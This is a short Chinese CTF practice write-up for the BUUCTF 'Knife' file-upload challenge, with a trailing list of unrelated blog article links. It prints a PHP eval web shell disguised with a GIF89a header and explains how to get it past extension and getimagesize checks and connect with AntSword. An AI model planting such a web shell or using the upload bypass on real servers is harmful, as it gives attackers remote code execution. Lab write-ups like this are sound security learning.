[极客大挑战 2019]Knife——3.20BUUCTF练习day4(2)

[极客大挑战 2019]Knife------3.20BUUCTF练习day4(2)

解题内容

在一个文件中输入以下内容,该文件是phtml文件(HTML嵌套PHP代码,可以绕过很多限制)但在本题中要先改文件名为2.gif然后抓包修改后缀名为phtml,因为只可以上传gif和jpg等

php 复制代码
GIF89a
<script language='php'>@eval($_POST[shell]);</script>



蚁剑连接

看了别人的wp,发现还可以删除前端校验函数,直接传phtml文件也可以


拓展

在上传的文件代码中含有GIF89a,这个是在文件前加上GIF89a来绕过PHP getimagesize的检查,来绕过文件内容头校验

PHP getimagesize(服务器端验证)

读取文件头信息,不是解析整个图片,所以效率较高

相关推荐
unable code19 分钟前
攻防世界-Misc-掀桌子
网络安全·ctf·misc·1024程序员节
Q_Q51100828536 分钟前
python+django/flask的城市供水管网爆管预警系统-数据可视化
spring boot·python·django·flask·node.js·php
悠悠~飘2 小时前
php基础-系统函数-第15天
php
laocaibulao13 小时前
mac电脑composer命令如何指定PHP版本
macos·php·composer
zz-zjx13 小时前
云原生LVS+Keepalived高可用方案(二)
开发语言·php·lvs
网络精创大傻14 小时前
PHP 与 Node.js:实际性能对比
开发语言·node.js·php
KevinLyu14 小时前
PHP内核详解· 内存管理篇(七)· 调整内存块大小
php
久违 °16 小时前
【安全开发】Nuclei源码分析-任务执行流程(三)
安全·网络安全·go
white-persist16 小时前
汇编代码详细解释:汇编语言如何转化为对应的C语言,怎么转化为对应的C代码?
java·c语言·前端·网络·汇编·安全·网络安全
hj104317 小时前
php上传企业微信附件的方法
开发语言·php·企业微信